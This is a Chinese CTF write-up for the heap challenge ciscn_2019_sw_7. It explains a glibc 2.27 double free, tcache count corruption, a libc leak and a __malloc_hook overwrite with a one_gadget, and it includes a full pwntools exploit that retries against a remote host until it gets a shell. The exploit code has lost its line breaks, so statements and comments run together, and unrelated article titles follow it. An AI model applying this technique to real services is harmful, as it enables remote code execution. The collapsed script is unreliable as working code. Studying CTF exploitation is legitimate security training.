ciscn_2019_sw_7

首先检查一下程序的保护机制

然后,我们用IDA分析一下,最多创建10个堆,并且size不能超过0x60

Delete功能没有清空指针,因此可以double free。

由于size受限制,因此我们需要伪造一个unsorted bin范围的chunk,glibc版本2.27,存在tcache,因此,我们还要先攻击tcache bin表头,篡改对应的count为-1,这样chunk就可以放入unsorted bin了。

#coding:utf8
from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38cdef add(size,content):sh.sendlineafter('>','1')sh.sendlineafter('The size of note:',str(size))sh.sendlineafter('The content of note:',content)def show(index):sh.sendlineafter('>','2')sh.sendlineafter('Index:',str(index))def delete(index):sh.sendlineafter('>','4')sh.sendlineafter('Index:',str(index))def exploit():#0add(0,'a')#1add(0x50,'b')#2add(0,'c')#3add(0x50,'d')#4add(0x50,'e')#3、4形成链表delete(4)delete(3)#通过溢出低位覆盖3的next指针低1字节为0x1B,低二字节为00,便有1/16和几率分配到tcache bin的表头0xE0的count处delete(2)add(0,'c'*0x8 + p64(0) + p64(0x61) + p8(0x1B - 8)) #2add(0x50,'d') #3#申请到表头,修改0xE0的tcache count为-1add(0x50,'\x00' + p8(0xFF)) #4#通过0溢出,修改chunk1的size,将1、2、3的size合并payload = 'a'*0x8 + p64(0) + p64(0x60 + 0x20 + 0x61)delete(0)add(0,payload) #0#得到0xE0的unsorted bindelete(1)#将unsorted bin指针传递到chunk2里add(0x20,'b') #1add(0x20,'b') #5show(2)sh.recvuntil('2 : ')main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)libc_base = malloc_hook_addr - malloc_hook_sif libc_base >> 40 != 0x7F:raise Exception('error leak!')one_gadget_addr = libc_base + one_gadget_sprint 'libc_base=',hex(libc_base)print 'malloc_hook_addr=',hex(malloc_hook_addr)print 'one_gadget_addr=',hex(one_gadget_addr)#3放入tcache bindelete(3)#将malloc_hook链接到tcache binadd(0x60,'c'*0x18 + p64(malloc_hook_addr-0x8)) #3#6add(0x50,'c')#7写malloc_hookadd(0x50,p64(one_gadget_addr))#getshellsh.sendlineafter('>','1')sh.sendlineafter('The size of note:','1')while True:try:global sh#sh = process('./ciscn_2019_sw_7')sh = remote('node3.buuoj.cn',25167)exploit()sh.interactive()except:sh.close()print 'trying...'

ciscn_2019_sw_7相关推荐

最新文章

  1. 几款表贴LED反向电流特性
  2. 用python画烟花-过年了,用Python放一场浪漫烟花秀!
  3. Elasticsearch-6.7.0系列(六)ES设置集群密码
  4. 中国香皂行业产量份额预测与消费需求商机研究报告2022年
  5. C++之------虚函数
  6. A1032. 画三角形2
  7. Leetcode--190. 颠倒二进制位
  8. HttpWebRequest自动登录网站并获取网站内容(不包含验证码的网站)
  9. 计算机教师帮扶记录,信息技术辅导记录.doc
  10. vs 错误提示及解决方案
  11. 【渝粤教育】国家开放大学2018年春季 7392-21FMatlab语言及其应用 参考试题
  12. Jquery.EasyUI datebox控件
  13. 工商银行在线支付接口
  14. 计算机里的wps云盘和网盘怎么删除,电脑里的wps网盘图标怎么删除?让你的云端文档更安全!...
  15. 一篇文章带你深入理解 Java 中的Class.getClassLoader
  16. 使用数字证书配置IKEv2
  17. 2020年9月-上海-bilibli(B站总部)面试题
  18. IntelliJ IDEA运行JAVA
  19. tyvj2059 元芳看电影
  20. 长安大学计算机科学与技术(交通信息工程)课程专业课,浙江大学软件学院公布考试大纲!又有多所学校公布专业目录...

热门文章

  1. 如何做抖音网红网络推广?
  2. 曼达洛人对机器人的评价_如何评价《曼达洛人 》?
  3. Javascript函数节流 —— How To Use Throttle
  4. python循环叠加求和_python基础教程python使用隐式循环快速求和的实现示例
  5. 解析python 命令的-u参数
  6. vmin的简单小用例
  7. iOS系统手机备忘录推荐
  8. npm的organizations
  9. 客户端连接rtsp的步骤
  10. IDEA下新建vue项目